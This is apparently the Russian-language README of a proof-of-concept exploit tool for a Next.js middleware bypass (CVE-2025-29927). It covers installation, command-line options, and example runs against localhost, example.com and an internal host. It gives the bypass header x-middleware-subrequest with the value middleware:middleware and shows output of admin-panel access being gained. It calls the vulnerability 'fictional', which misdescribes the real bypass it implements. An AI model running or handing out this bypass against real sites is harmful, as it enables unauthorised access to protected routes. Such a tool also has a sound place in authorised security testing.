
> 🔓 Proof-of-Concept для вымышленного обхода middleware в Next.js (CVE-2025-29927) — формируйте подзапросы для тестирования защищённых маршрутов.
| Возможность | Описание |
|---|
| ✨ Цвет и подробный вывод | Цветной вывод; -v для детальных отладочных журналов. |
| 📦 ООП-структура | Проектирование на основе классов для ясности и поддерживаемости. |
| 🌐 Поддержка прокси | Направляйте трафик через HTTP(S)-прокси с помощью --proxy. |
| 🍪 Работа с сессиями | Постоянный requests.Session для cookie и повторного использования соединения. |
| 🚦 Контроль редиректов | По умолчанию не переходит по редиректам; чётко определяет успех или провал. |
| 🛠 Настраиваемые заголовки | Переопределяйте User-Agent, x-middleware-subrequest или добавляйте заголовки. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Требуется Python 3.7+
python poc.py [options] <host>[:port]
| Опция | Описание |
|---|---|
-p, --path PATH | Путь к защищённому маршруту (по умолчанию: /admin) |
-s, --scheme {http,https} | Протокол (по умолчанию: http) |
--header HEADER | Значение заголовка x-middleware-subrequest (по умолчанию: middleware:middleware) |
-ua, --user-agent AGENT | Пользовательский User-Agent (по умолчанию: Mozilla/5.0) |
--proxy PROXY | URL HTTP(S)-прокси (например, http://127.0.0.1:8080) |
-v, --verbose | Включить отладочный вывод |
-h, --help | Показать это справочное сообщение |
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Успех
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
Провал
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)